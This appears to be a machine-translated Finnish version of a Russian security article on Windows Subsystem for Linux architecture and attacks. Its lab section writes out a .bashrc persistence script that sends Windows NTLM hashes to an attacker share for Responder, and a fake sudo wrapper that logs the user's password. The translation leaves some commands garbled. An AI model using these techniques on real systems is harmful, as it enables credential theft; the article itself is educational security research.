Hei, habr! OTUS käynnistää uuden kurssivirran lokakuussa . Kurssin alkua odotellessa jaamme kanssasi artikkelin, jonka on kirjoittanut yksi opettajistamme, Alexander Kolesnikov.

Vuonna 2016 Microsoft esitteli uuden WSL-teknologian IT-yhteisölle (Windows Salajärjestelmä Linux), mikä pitkällä aikavälillä mahdollisti aiemmin sovittamattomien kilpailijoiden yhdistymisen, jotka taistelivat suosiosta sekä tavallisten että edistyneiden käyttöjärjestelmien käyttäjien keskuudessa: Windows и LinuxTämä tekniikka tarjosi mahdollisuuden käyttää käyttöjärjestelmätyökaluja. Linux ympäröimä Windows ilman käynnistysvaatimusta Linuxesimerkiksi käyttämällä monikäynnistystä. Habrista löytyy lukuisia artikkeleita, jotka kuvaavat WSL:n käytön etuja. Valitettavasti kirjoitushetkellä tästä resurssista ei kuitenkaan löytynyt tutkimuksia tämän käyttöjärjestelmien symbioosin turvallisuudesta. Tämä viesti on yritys korjata tämä. Artikkelissa käsitellään WSL 1- ja 2-arkkitehtuurien ominaisuuksia ja analysoidaan useita esimerkkejä hyökkäyksistä näitä teknologioita käyttäviin järjestelmiin. Artikkeli on jaettu kahteen osaan. Ensimmäisessä esitetään tärkeimmät teoreettiset hyökkäysmenetelmät. Linux и WindowsToinen artikkeli käsittelee testiympäristön perustamista ja hyökkäysten toistamista.
WSL 1: arkkitehtoniset piirteet
WSL:n tietoturvaongelmien täydellinen ymmärtäminen edellyttää alijärjestelmän toteutukseen liittyvien keskeisten vivahteiden tunnistamista. Yksi WSL:n tärkeimmistä käyttäjien tarpeista on päätelaitteiden käytön mahdollistaminen. Linux järjestelmät isännässä käyttöjärjestelmän kanssa WindowsTarjottu yhteensopivuus oli myös niin natiivi, että suoritettavat tiedostot Linux (ELF) voitaisiin käynnistää suoraan järjestelmässä WindowsNäiden tavoitteiden saavuttamiseksi Windows 10 luotiin erityinen alijärjestelmä, joka mahdollistaa sovellusten käynnistämisen Linux käyttämällä joukkoa tiettyjä järjestelmäkutsuja - näin ollen yritettiin yhdistää joukko järjestelmäkutsuja Linux päälle WindowsFyysisesti tämä toteutettiin lisäämällä uusia ajureita ja uusi prosessimuoto. Visuaalisesti arkkitehtuuri näytti tältä:

Pohjimmiltaan vuorovaikutus käyttöjärjestelmän kanssa Linux oli järjestetty useiden ydinmoduulien ja erityisen prosessin, picon, avulla. Yllä oleva kaavio osoittaa, että instanssissa suoritettava prosessi Linux isännässä, sen on oltava natiivi ja käytettävä samoja resursseja kuin tavallisten sovellusten WindowsMutta miten tämä voidaan saavuttaa? Projektissa prosessikonsepteja kehitettiin Windows, joka tarjosi kaikki tarvittavat käyttöjärjestelmäkomponentit (versiostaan riippuen) sovelluksen suorittamiseen toisesta käyttöjärjestelmästä.
Huomaa, että ehdotettu abstraktio mahdollisti sen, ettei käyttöjärjestelmään voitu luottaa (erityisesti Windows), joka odottaa uuden käyttöjärjestelmäprosessin käynnistyvän ja ehdotti yleistä lähestymistapaa.
Siten mikä tahansa pico-prosessin sisällä oleva sovellus voisi toimia ytimestä riippumatta. Windows:
- Yhteensopivuus- ja järjestelmäkutsujen kääntämiseen liittyvät ongelmat on ratkaistava erityisten palveluntarjoajien toimesta.
- Pääsyoikeuksien hallinta on toteutettava Security Monitorin kautta. Monitori sijaitsee ytimessä ja siksi Windows Tarvittiin päivitys uuden ajurin muodossa, joka voisi toimia tällaisten prosessien tarjoajana. Pico-prosessin prototyyppi on kaaviomaisesti esitetty alla:

Koska tiedostojärjestelmä Linux käyttää kirjainkokoriippuvaisia tiedosto- ja hakemistonimiä, Windows WSL:n kanssa käytettäväksi on lisätty kaksi tiedostojärjestelmätyyppiä: VolFS ja DriveFS. VolFS on tiedostojärjestelmätoteutus. LinuxDriveFS on tiedostojärjestelmä, joka toimii sääntöjen mukaisesti Windows, mutta siinä on mahdollisuus valita nimien kirjainkoon huomioiminen.
WSL 2
WSL 1:llä oli useita rajoituksia, jotka estivät sen käytön monenlaisten tehtävien ratkaisemiseen: esimerkiksi siltä puuttui kyky ajaa 32-bittistä Linux Sovellukset eivät voineet käyttää laiteajureita. Siksi vuonna 2020 julkaistiin WSL 2, joka muutti lähestymistapaa alijärjestelmän rakentamiseen. WSL 2 on optimoitu virtuaalikone, joka vastaa WSL 1:n resurssienkulutusominaisuuksia. Nyt käyttöjärjestelmä voi muuttua käyttäjän ratkaisemien ongelmien mukaan. Windows, voit valita tarvittavan alijärjestelmän version työskentelyä varten LinuxMahdollisten haavoittuvuuksien lieventämiseksi WSL 2 toteutettiin Hyper-V:n pohjalta vuonna Windows 10Tässä muodossa Windows pystyy ajamaan käyttöjärjestelmän ydintä erillään LinuxOn syytä muistaa, että WSL:n versio 1 esiteltiin beetavaiheessa, jonka tarkoituksena oli näyttää kehityksen suunta. Windows tällä alueella, joten siirtyminen Hyper-V:hen oli väistämätön. Lopullinen arkkitehtuuri näyttää tältä:

Tässä versiossa järjestelmän ytimet Windows и Linux Jokaisella on omat resurssinsa ja päällekkäisyydet ovat olemassa vain tiedostojärjestelmän sisällä, mutta tämä päällekkäisyys ei ole läheskään täydellinen. Tiedostojärjestelmien välinen vuorovaikutus tapahtuu asiakas-palvelin-kääreen kautta, joka toimii 9P-protokollalla.
Nykyään Microsoft tarjoaa mahdollisuuden vaihtaa WSL 1:n ja WSL 2:n välillä. Molemmat versiot ovat käytettävissä.
WSL-suojaus
Tällä hetkellä on useita teoksia, jotka kuvaavat tapoja käyttää laillisia käyttöjärjestelmän työkaluja hyökätäkseen alijärjestelmien väliseen viestintään. Käytämme heidän komentosarjojaan tarkistaaksemme hyökkäysten merkityksen kirjoitushetkellä. Yleinen luettelo hyökkäyksistä ja skenaarioista:
1. Tiedostojärjestelmän toteutus: käyttöoikeudet, jaettujen hakemistojen/tiedonvaihtomekanismien saatavuus.
Tutkimus tehtiin pääsysääntöjen rikkomusten määrittämiseksi Linux FS->Windows FS, Windows FS->Linux FS. Tutkimus on osoittanut kyvyn muokata tiettyä tiedostoa kohdekäyttöjärjestelmässä. Osa tiedostojärjestelmistä yritettiin myös korvata, luoda kaksoiskappaleita ja poistaa.
Skenaario:
- A. Hyökkäys käyttöjärjestelmästä Windows — tiedostojen muokkaaminen käyttöjärjestelmän /etc-hakemistosta Linux.
- B. Hyökkäys käyttöjärjestelmästä Linux — tiedostojen muokkaaminen hakemistoissa:
C:Windows,C:Program Files,C:Users<User>
2. Verkkopinon toteutus.
Tutkimus tehtiin käyttämällä esimerkkejä käyttöjärjestelmästä tulevista hyökkäyksistä Linux päälle WindowsVerkkopinon toiminnallisia ominaisuuksia hyödynnettiin, erityisesti sen todennusmekanismeja eri resursseille.
Skenaario:
- Avataan pääsy järjestelmän varattuun porttiin Windows
- Portin avaaminen ilman asianmukaisia oikeuksia
- Käänteisen komentotulkin suorittaminen elf-tiedoston avulla käyttöjärjestelmässä Windows.
3. Haitallisten ohjelmistoprosessien käynnistämisen piilottaminen WSL-alijärjestelmän avulla.
Tutkimus perustui yksinkertaiseen tosiasiaan - tietoturvaalijärjestelmät eivät voi siepata tapahtumia toisessa ytimessä, joka toimii käyttöjärjestelmän laillisen palveluntarjoajan avulla WSL 1:n tapauksessa. WSL 2:n tapauksessa tapahtuvia tapahtumia ei ole mahdollista tarkastella. erillisessä ytimessä kevyessä virtuaalikoneessa.
Skenaario:
1) Käynnistä sovellus järjestelmän etäkäyttöä varten ja tarkastele kirjattuja tapahtumia.
WSL 1 -kokeilut: Hajautusarvojen kaappaus (OS Windows)
Olemme vihdoin päässeet käytännön osuuteen. Ensin meidän on luotava testausympäristö. Kaikki kokeet suoritetaan testipenkillä, jossa on Windows 10 2004. WSL:lle valittu käyttöjärjestelmän levykuva oli Ubuntu 18.04. huhtikuuta. Kuva valittiin satunnaisesti, ja mikä tahansa muukin toimii aivan yhtä hyvin. Komennot jalustan pystyttämiseen:
Sinun on ensin käynnistettävä powershell.exe järjestelmänvalvojana.
WSL 1:lle sinun on suoritettava komennot:
- Ota käyttöönWindowsValinnainen ominaisuus -Verkossa -OminaisuudenNimi Microsoft-Windows-Alijärjestelmä-Linux #Ota WSL-ominaisuus käyttöön
- Invoke-WebRequest -Uri eli.ms/wsl-ubuntu-1804
-OutFile ~/Ubuntu.appx -UseBasicParsing #Lataa kuva Linux Microsoft Storesta
Asennuksen uudelleenkäynnistyksen jälkeen voit suorittaa bash-komennon. Jos kaikki toimi oikein, näet konsolissa vastaavanlaisen tulosteen. Windows:

Käytämme hyökkääjän koneena Kali-jakelua. Linuxkaikkien koneiden on oltava samassa paikallisverkossa.
Oletetaan, että meillä on etuoikeudeton pääsy WSL:ään koneella WindowsYritetään hyökätä käyttöjärjestelmän kimppuun. Linux, kutsuen komentoa osoitteesta LinuxHyökkäyksen toteuttamiseksi käytämme yksinkertaista automaattisen käynnistyksen tekniikkaa – lisäämme skriptimme ympäristöön. LinuxTätä varten sinun on muutettava tiedostoa .bashrc.
Koneella, jossa on WSL, suoritamme:
1. bash
2. Переходим в домашнюю директорию пользователя: cd /home/sam/
2. echo «/home/sam/.attack.sh» >> .bashrc
3. echo «icalcs.exe » \\\\attacker_ip\\shareName\\» > /dev/null 2>&1» >> .attack.sh
4. chmod u+x .attack.sh
5. exitKali-autolla Linux toteutamme:
1. Responder -I eth0 -rdvwAutolla Windows Ajetaan bash.
Odotamme tuloksia Kali-koneella. Linux:

Joten saimme käyttäjän tiivisteet Windows WSL-alijärjestelmän kautta suorittamalla komento järjestelmässä Linux.
WSL 1 -kokeilut: Käyttäjän salasanan (käyttöjärjestelmä) hankkiminen Linux)
Tehdään vielä yksi koe. Tämän tarkistuksen aikana lisäämme tiedostoon .bashrc useita komentoja käyttöjärjestelmän käyttäjän salasanan saamiseksi Linux.
Käynnistä bash ja kirjoita komennot:
1. mkdir .hidden
2. echo "export PATH=$HOME/.hidden/:$PATH:" >> .bashrc
3. echo "read -sp "[sudo] password for $USER: " sudopass" > .hidden/sudo
4. echo "echo """ >> .mysudo/sudo
5. echo "sleep 2" >> .mysudo/sudo
6. echo "echo "Sorry, try again."" >> .mysudo/sudo
7. echo "echo $sudopass >> /home/sam/.mysudo/pass.txt» >> .mysudo/sudo
8. echo "/usr/bin/sudo $@" >> .mysudo/sudo
9. chmod +x .mysudo/sudo
10. exit Jotta hyökkäys onnistuisi, käyttäjän Sam on suoritettava sudo terminaalissa. LinuxTämän jälkeen käyttöjärjestelmän käyttäjän salasana Linux tulee olemaan tiedostossa pass.txt:

Hyökkäysten toteutus annettiin vain teoreettiseksi tiedoksi.
Artikkelin seuraavassa osassa kuvataan 9P-protokollan toteutusta, harkitaan skannerin luomista tälle protokollalle ja myös hyökkäys sen avulla.
Luettelo käytetystä kirjallisuudesta
Lue lisää
Lähde: will.com
